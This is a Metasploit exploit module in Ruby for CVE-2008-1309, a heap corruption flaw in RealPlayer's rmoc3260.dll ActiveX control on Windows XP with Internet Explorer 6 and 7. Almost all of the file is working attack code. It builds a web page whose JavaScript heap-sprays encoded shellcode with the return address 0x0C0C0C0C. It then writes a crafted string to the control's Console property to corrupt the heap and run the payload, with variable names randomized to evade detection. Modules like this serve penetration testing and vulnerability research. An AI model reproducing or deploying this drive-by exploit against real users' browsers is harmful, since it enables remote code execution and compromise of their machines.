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metasploit-gs/modules/exploits/windows/browser/realplayer_console.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
'Description' => %q{
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
By sending a specially crafted string to the 'Console' property
in the rmoc3260.dll control, an attacker may be able to execute
arbitrary code.
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},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'References' =>
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[
[ 'CVE', '2008-1309' ],
[ 'OSVDB', '42946' ],
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[ 'BID', '28157' ],
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[ 'URL', 'http://web.archive.org/web/20080313103656/http://secunia.com:80/advisories/29315/' ],
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],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => '2008-03-08',
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'DefaultTarget' => 0))
end
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def autofilter
false
end
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def check_dependencies
use_zlib
end
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def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 400
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offset = target['Offset']
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# Randomize the javascript variable names
racontrol = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
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randnop = rand_text_alpha(rand(100) + 1)
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# Build out the message
content = %Q|<html>
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
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#{randnop} = "#{nops}";
#{j_nops} = unescape(#{randnop});
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = '';
#{racontrol}.Console = #{j_ret};
</script>
</html>
|
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print_status("Sending #{self.name}")
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# Transmit the response to the client
send_response_html(cli, content)
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# Handle the payload
handler(cli)
end
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end